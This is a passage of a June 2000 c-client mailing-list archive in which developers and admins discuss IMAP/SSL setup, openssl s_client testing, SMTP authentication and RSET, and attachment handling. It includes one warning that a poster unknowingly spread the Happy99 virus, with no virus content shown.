this incorrect? Yes, that is correct. Port 993 for imaps, port 995 for pop3s. > Also, is there any method you would recommend of checking or logging > (other than "imaps alternative service init" in mail.log) to indicate that > some actual encryption may be going on here? You can try using the "openssl" test application of OpenSSL, doing something like: % openssl OpenSSL> s_client -host imap.myserver.com -port 993 From pinedev@shivax2.cac.washington.edu Thu Jun 1 16:11:18 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jun 2000 16:11:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA25460 for ; Thu, 1 Jun 2000 16:11:16 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA31205; Thu, 1 Jun 2000 16:11:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA00320; Thu, 1 Jun 2000 16:10:09 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA38252 for ; Thu, 1 Jun 2000 16:07:15 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA31067 for ; Thu, 1 Jun 2000 16:07:13 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.9.3/8.9.3) with ESMTP id QAA31087 for ; Thu, 1 Jun 2000 16:07:04 -0700 Message-Id: Date: Thu, 1 Jun 2000 16:07:04 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client@u.washington.edu Subject: Re: open a mailbox without asking for login and password In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 31 May 2000, LIAGRE Arnaud wrote: > I would like to know how to open the mailbox without asking the client for > his login and password. The "rimapd" scheme will allow a user to access imapd using rsh, so that if they have appropriate rhosts permission on the server they can access mail without a login. Looks like it also works with ssh, if rsh is a link to it. Andrew Daviel, TRIUMF From pinedev@shivax2.cac.washington.edu Thu Jun 1 16:26:18 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jun 2000 16:26:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA17542 for ; Thu, 1 Jun 2000 16:26:16 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA11022; Thu, 1 Jun 2000 16:26:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA01299; Thu, 1 Jun 2000 16:24:54 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA32186 for ; Thu, 1 Jun 2000 16:23:06 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA19710 for ; Thu, 1 Jun 2000 16:23:05 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.9.3/8.9.3) with ESMTP id QAA00475 for ; Thu, 1 Jun 2000 16:23:03 -0700 Message-Id: Date: Thu, 1 Jun 2000 16:23:03 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client@u.washington.edu Subject: Delete attachements but save message ?? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Someone asked me if it was possible to save a message but delete the attachement (e.g. someone sends something useful, with maybe a URL, then attaches the whole webpage too). We're using Netscape IMAP client, typically, or sometimes Pine. One can forward the message to oneself without attachments, but then the "From" address is lost from the message index. (BTW, can someone tell me why messages I post (with Pine) to mailing lists like this one turn up with "To: ..list" instead of my name in the message index, at least for me? I'm sure it's something dumb in my config ....) Andrew Daviel, TRIUMF -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 2 09:23:32 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Jun 2000 09:23:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA11291 for ; Fri, 2 Jun 2000 09:23:31 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA01649; Fri, 2 Jun 2000 09:23:29 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA08312; Fri, 2 Jun 2000 09:22:35 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA37310 for ; Fri, 2 Jun 2000 09:21:32 -0700 Received: from phy.hw.ac.uk (root@fhada.phy.hw.ac.uk [137.195.28.12]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA16357 for ; Fri, 2 Jun 2000 09:21:30 -0700 Received: from pc166.phy.hw.ac.uk (matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.9.3/8.9.3) with ESMTP id RAA12548 for ; Fri, 2 Jun 2000 17:21:29 +0100 (BST) Message-Id: <200006021621.RAA12548@phy.hw.ac.uk> Date: Fri, 2 Jun 2000 17:09:15 +0100 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: SMTP and authentication - almost MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Jun 2000 09:47:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA05045 for ; Fri, 2 Jun 2000 09:47:13 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA22376; Fri, 2 Jun 2000 09:47:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA09751; Fri, 2 Jun 2000 09:46:19 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA24036 for ; Fri, 2 Jun 2000 09:44:28 -0700 Received: from centonline.com (mail.centonline.com [204.238.52.24]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA05899 for ; Fri, 2 Jun 2000 09:44:27 -0700 Received: from cvis0.centonline.com (cvis0.centonline.com [204.238.52.4]) by centonline.com (8.8.8/8.8.8) with ESMTP id KAA11661; Fri, 2 Jun 2000 10:56:50 -0500 Message-Id: Date: Fri, 02 Jun 2000 11:49:28 -0500 (CDT) Reply-To: wsuetholz@centonline.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: wsuetholz@centonline.com To: Andrew Daviel Cc: c-client@u.washington.edu Subject: RE: Delete attachements but save message ?? In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: bill@cvis0.centonline.com X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The deleteing mime segements would depend on the client software. Using C-Client library, it is certainly possible to be able to write the client software in such a way that it could delete a mime part. You might have to do something like copying it to a new message and deleting the old, but it is doable.. The second question is alse dependent on the client.. XFMail which I am currently using behaves the same way as you are seeing Pine behave. If a message if from you, it will put in the message list window, who you sent the message to. If you look at the message, however, it's header will be ok. I don't know if this kind of thing can be configured or not. Bill Suetholz On 01-Jun-00 Andrew Daviel wrote: > > Someone asked me if it was possible to save a message but delete the > attachement (e.g. someone sends something useful, with maybe a URL, then > attaches the whole webpage too). > > We're using Netscape IMAP client, typically, or sometimes Pine. > > One can forward the message to oneself without attachments, but then the > "From" address is lost from the message index. > > (BTW, can someone tell me why messages I post (with Pine) to mailing lists > like this one turn up with "To: ..list" instead of my name in the message > index, at least for me? I'm sure it's something dumb in my config ....) > > Andrew Daviel, TRIUMF > > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ ---------------------------------- E-Mail: wsuetholz@centonline.com Date: 02-Jun-00 Time: 11:44:27 This message was sent by XFMail ---------------------------------- From pinedev@shivax2.cac.washington.edu Fri Jun 2 15:55:30 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Jun 2000 15:55:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA15039 for ; Fri, 2 Jun 2000 15:55:28 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA15429; Fri, 2 Jun 2000 15:55:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA26102; Fri, 2 Jun 2000 15:54:26 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA16786 for ; Fri, 2 Jun 2000 15:53:02 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (john@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA14628 for ; Fri, 2 Jun 2000 15:53:01 -0700 Message-Id: Date: Fri, 2 Jun 2000 15:44:46 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client Subject: re: SMTP and authentication - almost In-Reply-To: <200006021621.RAA12548@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 2 Jun 2000 17:09:15 +0100 (GMT), Karsten Ballueder wrote: > - and: I had to patch smtp.c to not send the "RSET" command to the server > before sending the mail, otherwise it would forget the authentification. > With the stock 4.7 c-client code, the user is first authenticated, then RSET > is send and then the mail. > With my ISP's server this caused the authentification to be invalidated. > Is there any *good* reason for the extra RSET ? Seems rather unneeded to me. Well.... Historically, I had problems with servers (I forget which ones) which could let you connect and be in other than in initial state. I think that they were multi-threaded and a thread from a previous session could get reused without being fully reinitialized. The other issue is when using an SMTP session to send more than one message. It's good form to do a RSET between each message, to be sure that you're back to the initial state; and of course you have to do a RSET if you don't complete the previous message to a successful DATA transaction. I think that the server is non-compliant. I don't see anything in RFC 2554 which permits a server to drop authentication status because of a RSET. From pinedev@shivax2.cac.washington.edu Fri Jun 2 23:16:33 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Jun 2000 23:16:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA23999 for ; Fri, 2 Jun 2000 23:16:23 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA12528; Fri, 2 Jun 2000 23:16:21 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA13255; Fri, 2 Jun 2000 23:15:25 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA21418 for ; Fri, 2 Jun 2000 23:13:46 -0700 Received: from bom1.vsnl.net.in (giasbm01.vsnl.net.in [202.54.1.18]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA23775 for ; Fri, 2 Jun 2000 23:13:39 -0700 Received: from giasbm01.vsnl.net.in (unknown [203.197.49.1]) by bom1.vsnl.net.in (Postfix) with ESMTP id 41BEB874F; Sat, 3 Jun 2000 11:43:25 +0530 (IST) Message-Id: <3938A2C0.F9E678D5@giasbm01.vsnl.net.in> Date: Sat, 03 Jun 2000 11:46:43 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: shilpa To: LIAGRE Arnaud Cc: "'c-client@u.washington.edu'" , "'Mark Crispin'" Subject: How to be romoved from the mailing list? References: MIME-Version: 1.0 Content-Type: text/plain; charset=x-user-defined Content-Transfer-Encoding: 8bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Can anybody help me in getting removed from the c-client mailing list? will be obliged. shilpa..// ---------   From pinedev@shivax2.cac.washington.edu Sat Jun 3 07:28:59 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sat, 3 Jun 2000 07:28:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA26362 for ; Sat, 3 Jun 2000 07:28:57 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA01976; Sat, 3 Jun 2000 07:28:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA18704; Sat, 3 Jun 2000 07:27:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA15060 for ; Sat, 3 Jun 2000 07:25:32 -0700 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA21120 for ; Sat, 3 Jun 2000 07:25:30 -0700 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id RAA49537; Sat, 3 Jun 2000 17:25:09 +0300 (EEST) Received: from city.dbnet.ece.ntua.gr (city.dbnet.ece.ntua.gr [147.102.12.38]) by dblab.ece.ntua.gr (8.11.0.Beta1/8.10.1) with ESMTP id e53EP9w37117; Sat, 3 Jun 2000 17:25:09 +0300 (EEST) Received: (from george@localhost) by city.dbnet.ece.ntua.gr (8.9.3/8.9.3) id RAA60980; Sat, 3 Jun 2000 17:25:08 +0300 (EEST) (envelope-from george) Message-Id: <20000603172508.A60957@dblab.ece.ntua.gr> Date: Sat, 3 Jun 2000 17:25:08 +0300 Reply-To: adamo@dblab.ece.ntua.gr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: shilpa Cc: c-client@u.washington.edu Subject: Re: How to be romoved from the mailing list? In-Reply-To: <20000603061319.1FC9E86F8@bom1.vsnl.net.in>; from shilpa@giasbm01.vsnl.net.in on Sat, Jun 03, 2000 at 11:43:19AM +0530 References: <20000603061319.1FC9E86F8@bom1.vsnl.net.in> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-URL: http://home.eu.org/~adamo X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Guidelines on how to subscribe and unsubscribe to this list are in http://www.cac.washington.edu/imap/ Besides the following lines show that On Sat, Jun 03, 2000 at 11:43:19AM +0530, shilpa wrote: > begin 644 Happy99.exe You have the Happy99.exe virus which you've sent out to the whole of the list's membership. Please use an antivirus to clean up your files. From pinedev@shivax2.cac.washington.edu Mon Jun 5 13:13:53 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jun 2000 13:13:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA21542 for ; Mon, 5 Jun 2000 13:13:52 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA22112; Mon, 5 Jun 2000 13:13:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA27861; Mon, 5 Jun 2000 13:13:14 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA31478 for ; Mon, 5 Jun 2000 13:10:33 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA02246 for ; Mon, 5 Jun 2000 13:10:33 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (ken@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA02382; Mon, 5 Jun 2000 13:10:32 -0700 Message-Id: Date: Mon, 5 Jun 2000 13:08:52 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: today's imap-2000 BETA MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If you are getting a "SSLEAY_RAND_BYTES:PRNG not seeded" error in your syslog when trying to establish an SSL IMAP connection with imap-2000, I think that I have fixed it in today's imap-2000 beta. Thanks to Lutz Jaenicke for the pointers on how to fix it. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Mon Jun 5 16:27:30 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jun 2000 16:27:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA24147 for ; Mon, 5 Jun 2000 16:27:28 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA28848; Mon, 5 Jun 2000 16:27:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA29745; Mon, 5 Jun 2000 16:26:48 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA22886 for ; Mon, 5 Jun 2000 16:24:26 -0700 Received: from server.wombatgames.com ([208.188.97.107]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA03320 for ; Mon, 5 Jun 2000 16:24:24 -0700 Received: from wombatgames.com (cs1606-40.austin.rr.com [24.160.6.40]) by server.wombatgames.com (8.9.3/8.9.3) with ESMTP id SAA25913; Mon, 5 Jun 2000 18:24:23 -0500 Message-Id: <393C33DF.3152A4A9@wombatgames.com> Date: Mon, 05 Jun 2000 18:12:31 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jason Spangler To: c-client@u.washington.edu Subject: Using SSL support in UW imap-2000.BETA? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN [I originally sent this message to the imap mailing list but then noticed that I should have sent it to the c-client mailing list, sorry.] I've tried the following using Netscape Messenger 4.72 as my client and non-secure access works but it hangs when I try simap. I searched through the documentation but couldn't find any mention of how to get SSL support working after compilation. I built with: make lnp SPECIALAUTHENTICATORS=ssl I added the following to inetd.conf: simap stream tcp nowait root /usr/bin/tcpd imapd I made sure simap was in /etc/services: simap 993/tcp # IMAP over SSL I also looked in src/osdep/unix/auth_ssl.c and saw that it expects a certificate in SSL_CERT_DIRECTORY of -
    .pem or .pem, so I created linus.pem and ln -s linus.pem imapd.pem (I don't know what servername is supposed to be). I'm also getting "port 993 service init from" rather than "alternative service init from" in my maillog file, and I did build with with "make lnp SPECIALAUTHENTICATORS=ssl" and ldd says that imapd is linked to libssl.so. I also tried: % openssl OpenSSL> s_client -host localhost -port 993 CONNECTED(00000003) 20029:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol:s23_clnt.c:458: Also, does anyone know if imap-2000.BETA's SSL support will work with Netscape Messenger 4.72? Thanks! P.S. I made RPMs of imap-2000.BETA (based on Red Hat's SRPM with patches updated and SSL build enabled) and put them at http://sss.org/~jasons/Dist/RPMs/ if anyone is interested. P.P.S. I just subscribed to the list so I may have missed some messages about this that haven't made it into the archive yet. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 5 17:09:06 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jun 2000 17:09:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA13928 for ; Mon, 5 Jun 2000 17:09:04 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA30197; Mon, 5 Jun 2000 17:09:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA01167; Mon, 5 Jun 2000 17:08:40 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA31892 for ; Mon, 5 Jun 2000 17:06:53 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA16443 for ; Mon, 5 Jun 2000 17:06:51 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (btik@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA30121 for ; Mon, 5 Jun 2000 17:06:51 -0700 Message-Id: Date: Mon, 5 Jun 2000 17:00:36 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jason Spangler Cc: imap@u.washington.edu, c-client Interest List Subject: re: Using SSL support in UW imap-2000.BETA? In-Reply-To: <393C2E33.2AC13217@wombatgames.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 05 Jun 2000 17:48:19 -0500, Jason Spangler wrote: > simap stream tcp nowait root /usr/bin/tcpd imapd Don't use TCP wrappers with the simap port. I've never seen it work with TCP wrappers. Also, make sure that the imapd.pem file has both a RSA PRIVATE KEY and a CERTIFICATE section. > Also, does anyone know if imap-2000.BETA's SSL support will work with > Netscape Messenger 4.72? It works for us... From pinedev@shivax2.cac.washington.edu Mon Jun 5 17:25:19 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jun 2000 17:25:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA26031 for ; Mon, 5 Jun 2000 17:25:18 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA10947; Mon, 5 Jun 2000 17:25:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA02175; Mon, 5 Jun 2000 17:24:38 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA20916 for ; Mon, 5 Jun 2000 17:23:12 -0700 Received: from server.wombatgames.com ([208.188.97.107]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA30017 for ; Mon, 5 Jun 2000 17:23:12 -0700 Received: from wombatgames.com (cs1606-40.austin.rr.com [24.160.6.40]) by server.wombatgames.com (8.9.3/8.9.3) with ESMTP id TAA26036; Mon, 5 Jun 2000 19:23:09 -0500 Message-Id: <393C41A5.78B4630D@wombatgames.com> Date: Mon, 05 Jun 2000 19:11:17 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jason Spangler To: Mark Crispin , "c-client@u.washington.edu" Subject: Re: Using SSL support in UW imap-2000.BETA? References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Mon, 05 Jun 2000 17:48:19 -0500, Jason Spangler wrote: > > simap stream tcp nowait root /usr/bin/tcpd imapd > > Don't use TCP wrappers with the simap port. I've never seen it work with TCP > wrappers. The line in inetd.conf now reads: simap stream tcp nowait root /usr/sbin/imapd imapd I get a "port 993 service init" message in maillog, and Netscape Messenger still hangs before asking for my password. And: $ openssl OpenSSL> s_client -host localhost 